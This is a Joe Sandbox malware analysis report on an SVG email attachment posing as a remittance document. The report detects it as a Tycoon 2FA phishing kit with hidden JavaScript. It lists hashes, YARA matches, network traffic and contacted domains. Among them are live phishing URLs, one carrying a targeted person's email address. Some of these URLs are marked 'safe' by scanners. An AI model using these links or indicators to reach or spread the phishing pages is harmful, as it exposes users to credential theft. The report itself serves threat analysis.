Edit tour

Windows Analysis Report
View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg

Overview

General Information

Sample name:	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg
Analysis ID:	1643279
MD5:	41618a9a79500a02f2ce111361e2c5a0
SHA1:	e649faa25b0e522bb8498cf146f3e085aebeae23
SHA256:	47631be11d823ac5135803c5f95782c355bca742a5bc6038039ea6e526fae9b7
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6252 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VIEWRE~1.SVG MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,13598698509280980246,18089039725013681096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_53	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_53, type: DROPPED

Yara detected Invisible JS

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg, type: SAMPLE

Source: https://abdxo.qdhfwaes.es/JYVwg6/#Mtomdrackett@mangrovelithium.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>EduVision - Transforming Education</title> <style> body { font-family: 'Segoe UI', Tahoma, Genev...

Source: https://abdxo.qdhfwaes.es/JYVwg6/#Mtomdrackett@mangrovelithium.com

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.16:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.68:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49728 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.16:49694 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /JYVwg6/ HTTP/1.1Host: abdxo.qdhfwaes.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abdxo.qdhfwaes.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abdxo.qdhfwaes.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abdxo.qdhfwaes.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abdxo.qdhfwaes.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://abdxo.qdhfwaes.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chiriya!efabej HTTP/1.1Host: mmeb6h.ptkeol.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://abdxo.qdhfwaes.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://abdxo.qdhfwaes.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: abdxo.qdhfwaes.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mmeb6h.ptkeol.ru

Source: unknown

HTTP traffic detected: POST /report/v4?s=7LZPigoFhvALOM1VTa7BK1%2FMbIxCPLKX%2FKudtsWlmV%2FxPZHTNSeJEWl%2Bk84ToP3t2%2FLG%2BJuDJCXY9d8AEN9ZSUTliM6b23KKlLPuwWinOaWH1GvUVxg9MeD%2Bb9izWV2GXbw2V%2BIk HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 501Content-Type: application/reports+jsonOrigin: https://cdnjs.cloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.16:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.68:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49728 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6252_1657277593

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6252_1657277593

Jump to behavior

Source: classification engine

Classification label: mal76.phis.winSVG@20/6@16/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VIEWRE~1.SVG
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,13598698509280980246,18089039725013681096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,13598698509280980246,18089039725013681096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://abdxo.qdhfwaes.es/JYVwg6/	0%	Avira URL Cloud	safe
https://mmeb6h.ptkeol.ru/chiriya!efabej	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
mmeb6h.ptkeol.ru	188.114.97.3	true	false	unknown
www.google.com	142.250.186.68	true	false	high
abdxo.qdhfwaes.es	188.114.96.3	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mmeb6h.ptkeol.ru/chiriya!efabej	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://abdxo.qdhfwaes.es/JYVwg6/#Mtomdrackett@mangrovelithium.com	false		unknown
https://developers.cloudflare.com/favicon.png	false		high
https://abdxo.qdhfwaes.es/JYVwg6/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
188.114.97.3	mmeb6h.ptkeol.ru	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	abdxo.qdhfwaes.es	European Union	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643279
Start date and time:	2025-03-19 17:55:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg
Detection:	MAL
Classification:	mal76.phis.winSVG@20/6@16/9
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.206, 142.250.184.195, 142.250.185.238, 64.233.167.84, 199.232.210.172, 142.250.186.110, 142.250.185.110, 172.217.16.206, 142.250.184.238, 142.250.185.142, 142.250.186.46, 172.217.18.14, 216.58.212.163, 216.58.206.35, 142.250.185.163, 142.250.184.206, 216.58.206.78, 142.250.181.238, 142.250.186.142, 20.12.23.50, 23.199.214.10
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	http://facebooksecurity.blogspot.co.uk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://applela.za.com/isignesp.php?id=	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://awqffg.newburuan2023.biz.id/next.php	Get hash	malicious	HTMLPhisher	Browse	code.jquery.com/jquery-1.10.2.min.js
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.94.41	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse
	https://eikosol.com/goto/https:/gamma.app/docs/Faber-nx9caa24p6tc1q6?mode=present#card-x3twj1va5159vpf	Get hash	malicious	Unknown	Browse
	original (1).eml	Get hash	malicious	Unknown	Browse
	https://solaxxy.click	Get hash	malicious	HTMLPhisher	Browse
	https://jupp.ac	Get hash	malicious	HTMLPhisher	Browse
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://pell-network.website	Get hash	malicious	HTMLPhisher	Browse
	https://trias-migration.org	Get hash	malicious	HTMLPhisher	Browse
	https://mertibet.top	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
